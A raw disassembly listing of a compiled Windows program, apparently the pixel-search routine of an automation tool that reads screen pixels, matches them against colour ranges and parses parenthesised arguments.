mov eax, dword [ebp - 0x18]
push eax
push fcn.0053347c
mov eax, dword [ebp - 0x18]
call fcn.00425d90
jmp 0x54356d
mov eax, dword [ebp - 0xe0]
sub dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xdc]
sub dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x1048b5], 0
je 0x542f8e
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x54353a
mov eax, dword [ebp - 0xe4]
dec eax
mov dword [ebp - 0x28], eax
jmp 0x54353a
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x71], 0
je 0x542ff1
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x1048b5], 0
jne 0x542fcc
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x44ac]
push eax
call sub.KERNEL32.DLL_GlobalFree
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x44ac], edx
push 0
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x53e0dc]
call fcn.0040659c
add esp, 4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x553567
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x543505
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x224]
jbe 0x543067
add dword [ebp - 0x224], 0x64
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x105bdc], edx
mov dword [ebp - 0x84], 3
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0x224]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x4c]
mov edx, dword [ebp - 0x1c]
call fcn.00405070
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x4c]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.0055418c
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x1048b5], 0
je 0x5430ae
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x44ac]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x4484]
lea edx, [edx + edx*2]
add edx, dword [ebp - 0x1f8]
imul edx, dword [ebp - 0x28]
add eax, edx
add eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x1f4], eax
jmp 0x5430e4
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4488]
dec eax
sub eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x4484]
lea edx, [edx + edx*2]
add edx, dword [ebp - 0x1f8]
imul edx
mov edx, dword [ebp - 0x18]
add eax, dword [edx + 0x44ac]
add eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x1f4], eax
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp - 0x2a8]
movzx eax, byte [eax + 2]
mov edx, dword [ebp - 0x2a8]
movzx edx, byte [edx + 1]
shl edx, 8
add eax, edx
mov edx, dword [ebp - 0x2a8]
movzx edx, byte [edx]
shl edx, 0x10
add eax, edx
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x36], 0
cmp byte [ebp - 0x35], 0
je 0x543215
mov eax, dword [ebp - 4]
call fcn.004063e0
dec eax
mov dword [ebp - 0x18c], eax
xor eax, eax
mov dword [ebp - 0x58], eax
jmp 0x5431fe
mov eax, dword [ebp - 0x58]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax*2]
mov edx, dword [ebp - 0x2c]
and edx, 0xff
cmp eax, edx
jg 0x5431f2
mov eax, dword [ebp - 0x58]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax*2 + 1]
mov edx, dword [ebp - 0x2c]
and edx, 0xff
cmp eax, edx
jl 0x5431f2
mov eax, dword [ebp - 0x58]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax*2 + 2]
mov edx, dword [ebp - 0x2c]
and edx, 0xff00
shr edx, 8
cmp eax, edx
jg 0x5431f2
mov eax, dword [ebp - 0x58]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax*2 + 3]
mov edx, dword [ebp - 0x2c]
and edx, 0xff00
shr edx, 8
cmp eax, edx
jl 0x5431f2
mov eax, dword [ebp - 0x58]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax*2 + 4]
mov edx, dword [ebp - 0x2c]
and edx, 0xff0000
shr edx, 0x10
cmp eax, edx
jg 0x5431f2
mov eax, dword [ebp - 0x58]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax*2 + 5]
mov edx, dword [ebp - 0x2c]
and edx, 0xff0000
shr edx, 0x10
cmp eax, edx
jge 0x5431f6
xor eax, eax
jmp 0x5431f8
mov al, 1
mov byte [ebp - 0x36], al
inc dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x18c]
jg 0x54321f
cmp byte [ebp - 0x36], 0
je 0x543141
jmp 0x54321f
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x68]
sete byte [ebp - 0x36]
cmp byte [ebp - 0x36], 0
je 0x5434fc
cmp byte [ebp - 0x13d], 0
je 0x5433db
lea eax, [ebp - 0x79c]
push eax
mov eax, dword [ebp - 0x134]
push eax
call sub.user32.dll_GetWindowRect
cmp byte [ebp - 0x10d], 0
jne 0x543265
lea eax, [ebp - 0x79c]
push eax
mov eax, dword [ebp - 0x134]
push eax
call sub.user32.dll_ScreenToClient
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x1048b5], 0
jne 0x543299
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x44e0], 0
je 0x54328e
mov eax, dword [ebp - 0xfc]
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x12c], eax
jmp 0x5432bf
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x12c], eax
jmp 0x5432bf
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x44e0], 0
je 0x5432b0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x12c], eax
jmp 0x5432bf
mov eax, dword [ebp - 0xfc]
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x79c]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x798]
add dword [ebp - 0x12c], eax
mov dword [ebp - 0x84], 1
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0xf8]
add eax, dword [ebp - 0x79c]
mov edx, dword [ebp - 0x18]
add eax, dword [edx + 0x10467c]
lea edx, [ebp - 0x4c]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov dword [ebp - 0x84], 2
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x104680]
add eax, dword [ebp - 0x12c]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov dword [ebp - 0x84], 3
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x2c]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
jmp 0x5434f6
mov dword [ebp - 0x84], 1
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0xf8]
mov edx, dword [ebp - 0x18]
add eax, dword [edx + 0x10467c]
lea edx, [ebp - 0x4c]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov dword [ebp - 0x84], 2
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x44e0], 0
je 0x543465
mov eax, dword [ebp - 0xfc]
sub eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x18]
add eax, dword [edx + 0x104680]
lea edx, [ebp - 0x4c]
call fcn.0040b57c
jmp 0x543479
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x104680]
add eax, dword [ebp - 0x28]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov dword [ebp - 0x84], 3
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x2c]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
inc dword [ebp - 0x10]
dec dword [ebp - 0x3c]
mov eax, dword [ebp - 0x108]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0xe8]
jge 0x54351a
cmp dword [ebp - 0x3c], 0
jne 0x542ffb
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x1048b5], 0
je 0x543531
mov eax, dword [ebp - 0x104]
add dword [ebp - 0x28], eax
jmp 0x54353a
mov eax, dword [ebp - 0x104]
sub dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jl 0x543555
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0xe4]
jge 0x543555
cmp dword [ebp - 0x3c], 0
jne 0x542f9d
push 0
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x53e0dc]
call fcn.0040659c
add esp, 4
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x1048b5], 0
jne 0x5438e5
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x44ac]
push eax
call sub.KERNEL32.DLL_GlobalFree
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x44ac], edx
jmp 0x5438e5
push 0
call sub.user32.dll_GetDC
mov dword [ebp - 0x220], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x28], eax
jmp 0x5438c1
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x71], 0
je 0x5435db
mov eax, dword [ebp - 0x220]
push eax
push 0
call sub.user32.dll_ReleaseDC
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x553567
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x14], eax
jmp 0x5438a2
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x224]
jbe 0x543655
add dword [ebp - 0x224], 0x64
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x105bdc], edx
mov dword [ebp - 0x84], 2
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0x224]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x4c]
mov edx, dword [ebp - 0x1c]
call fcn.00405070
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x4c]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.0055418c
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x220]
push eax
call sub.gdi32.dll_GetPixel_1
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x36], 0
cmp byte [ebp - 0x35], 0
je 0x543756
xor eax, eax
mov dword [ebp - 0x58], eax
jmp 0x54373c
mov eax, dword [ebp - 0x58]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax*2]
mov edx, dword [ebp - 0x2c]
and edx, 0xff
cmp eax, edx
jg 0x543739
mov eax, dword [ebp - 0x58]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax*2 + 1]
mov edx, dword [ebp - 0x2c]
and edx, 0xff
cmp eax, edx
jl 0x543739
mov eax, dword [ebp - 0x58]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax*2 + 2]
mov edx, dword [ebp - 0x2c]
and edx, 0xff00
shr edx, 8
cmp eax, edx
jg 0x543739
mov eax, dword [ebp - 0x58]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax*2 + 3]
mov edx, dword [ebp - 0x2c]
and edx, 0xff00
shr edx, 8
cmp eax, edx
jl 0x543739
mov eax, dword [ebp - 0x58]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax*2 + 4]
mov edx, dword [ebp - 0x2c]
and edx, 0xff0000
shr edx, 0x10
cmp eax, edx
jg 0x543739
mov eax, dword [ebp - 0x58]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax*2 + 5]
mov edx, dword [ebp - 0x2c]
and edx, 0xff0000
shr edx, 0x10
cmp eax, edx
jl 0x543739
mov byte [ebp - 0x36], 1
inc dword [ebp - 0x58]
mov eax, dword [ebp - 4]
call fcn.004063e0
dec eax
cmp eax, dword [ebp - 0x58]
jl 0x543765
cmp byte [ebp - 0x36], 0
je 0x543684
jmp 0x543765
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x88]
jne 0x543765
mov byte [ebp - 0x36], 1
cmp byte [ebp - 0x36], 0
je 0x543899
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xec], eax
cmp byte [ebp - 0x10d], 0
jne 0x5437a0
lea eax, [ebp - 0xf0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x84]
push eax
call sub.user32.dll_ScreenToClient
mov dword [ebp - 0x84], 1
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x10467c]
add eax, dword [ebp - 0xf0]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov dword [ebp - 0x84], 2
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x104680]
add eax, dword [ebp - 0xec]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov dword [ebp - 0x84], 3
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x2c]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
inc dword [ebp - 0x10]
dec dword [ebp - 0x3c]
mov eax, dword [ebp - 0x108]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xe8]
dec eax
cmp eax, dword [ebp - 0x14]
jl 0x5438b8
cmp dword [ebp - 0x3c], 0
jne 0x5435e9
mov eax, dword [ebp - 0x104]
add dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xe4]
dec eax
cmp eax, dword [ebp - 0x28]
jl 0x5438d7
cmp dword [ebp - 0x3c], 0
jne 0x5435b7
mov eax, dword [ebp - 0x220]
push eax
push 0
call sub.user32.dll_ReleaseDC
mov dword [ebp - 0x84], 3
dec dword [ebp - 0x10]
lea eax, [ebp - 0x84]
push eax
push 1
lea ecx, [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.005550b4
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
jmp 0x543927
lea eax, [ebp - 0x1c]
mov edx, 0x553974
call fcn.00405070
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x54397b
lea eax, [ebp - 0x1c]
mov edx, 0x553980
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
push 0
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x53e0dc]
call fcn.0040659c
add esp, 4
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
xor ebx, ebx
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x200], eax
jmp 0x5439e6
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x5439e3
mov bl, 1
jmp 0x543a2f
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x200]
jg 0x543a2f
mov eax, dword [0x59046c]
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x5439d2
test bl, bl
je 0x54638b
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x200], eax
xor eax, eax
mov dword [ebp - 0x84], eax
jmp 0x543a8b
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x543a6b
dec al
je 0x543a75
jmp 0x543a7b
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x543a7b
dec dword [ebp - 0x84]
test bl, bl
je 0x543a88
cmp dword [ebp - 0x84], 0
je 0x543a96
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x200]
jbe 0x543a57
lea eax, [ebp - 0xb10]
push eax
mov eax, dword [ebp - 0x14]
inc eax
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x14]
inc edx
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov ecx, dword [ebp - 0xb10]
lea eax, [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
xor eax, eax
push ebp
push 0x546372
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x10], 5
xor eax, eax
mov dword [ebp - 0x84], eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x553908
call fcn.004055dc
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
jg 0x543b1a
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x105d4c], 0
je 0x54631b
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x105d4c], 0
je 0x543cb6
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x105c5c], 1
jne 0x543b47
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105c60]
mov dword [ebp - 0xe0], eax
jmp 0x543b8b
lea eax, [ebp - 0xb14]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x105c64]
lea eax, [ebp - 0xb18]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xb18]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb14]
call fcn.0040b6e8
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x105c68], 1
jne 0x543ba8
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105c6c]
mov dword [ebp - 0xdc], eax
jmp 0x543bec
lea eax, [ebp - 0xb1c]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x105c70]
lea eax, [ebp - 0xb20]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xb20]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb1c]
call fcn.0040b6e8
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x105c74], 1
jne 0x543c09
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105c78]
mov dword [ebp - 0xe8], eax
jmp 0x543c4d
lea eax, [ebp - 0xb24]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x105c7c]
lea eax, [ebp - 0xb28]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xb28]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb24]
call fcn.0040b6e8
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x105c80], 1
jne 0x543c6d
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105c84]
mov dword [ebp - 0xe4], eax
jmp 0x543e45
lea eax, [ebp - 0xb2c]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x105c88]
lea eax, [ebp - 0xb30]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xb30]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb2c]
call fcn.0040b6e8
mov dword [ebp - 0xe4], eax
jmp 0x543e45
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0xb38]
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00405298
mov ecx, eax
sub ecx, dword [ebp - 0x68]
inc ecx
inc ecx
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x1c]
call fcn.004054f8
mov ecx, dword [ebp - 0xb38]
lea eax, [ebp - 0xb34]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xb34]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
lea eax, [ebp - 0xb3c]
push eax
lea eax, [ebp - 0xb40]
push eax
mov ecx, dword [ebp - 0x68]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.004054f8
mov edx, dword [ebp - 0xb40]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov ecx, dword [ebp - 0xb3c]
lea eax, [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
lea eax, [ebp - 0xb44]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb44]
call fcn.0040b6e8
mov dword [ebp - 0xe0], eax
lea eax, [ebp - 0xb48]
push eax
mov ecx, 2
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb48]
call fcn.0040b6e8
mov dword [ebp - 0xdc], eax
lea eax, [ebp - 0xb4c]
push eax
mov ecx, 3
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb4c]
call fcn.0040b6e8
mov dword [ebp - 0xe8], eax
lea eax, [ebp - 0xb50]
push eax
mov ecx, 4
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb50]
call fcn.0040b6e8
mov dword [ebp - 0xe4], eax
xor ebx, ebx
mov dword [ebp - 0x10], 1
xor eax, eax
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x4c]
call fcn.00405298
mov dword [ebp - 0x200], eax
jmp 0x543e3a
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x543e1a
dec al
je 0x543e24
jmp 0x543e2a
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x543e2a
dec dword [ebp - 0x84]
test bl, bl
je 0x543e37
cmp dword [ebp - 0x84], 0
je 0x543e45
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x200]
jbe 0x543e06
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x105d4c], 0
je 0x543ea5
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x105c8c], 1
jne 0x543e73
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105c90]
call fcn.0040b57c
jmp 0x543f1d
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x105c94]
lea eax, [ebp - 0xb54]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xb54]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
jmp 0x543f1d
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xb5c]
push eax
mov ecx, dword [ebp - 0x10]
sub ecx, 2
mov edx, 2
mov eax, dword [ebp - 0x4c]
call fcn.004054f8
mov ecx, dword [ebp - 0xb5c]
lea eax, [ebp - 0xb58]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xb58]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
lea eax, [ebp - 0xb60]
push eax
mov eax, dword [ebp - 0x4c]
call fcn.00405298
mov ecx, eax
sub ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
inc edx
mov eax, dword [ebp - 0x4c]
call fcn.004054f8
mov ecx, dword [ebp - 0xb60]
lea eax, [ebp - 0x4c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0x1c]
mov eax, 0x55398c
call fcn.004055dc
test eax, eax
jne 0x54403d
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
call fcn.0040b73c
test al, al
je 0x54403d
mov eax, dword [ebp - 0x18]
mov dword [eax + 0x449c], 2
mov dword [ebp - 0x14], 1
jmp 0x543f83
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 - 4]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x28]
cdq
cmp edx, dword [esp + 4]
jne 0x543f7c
cmp eax, dword [esp]
pop edx
pop eax
je 0x543f93
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x6c]
call fcn.004063e0
cmp eax, dword [ebp - 0x14]
jge 0x543f5b
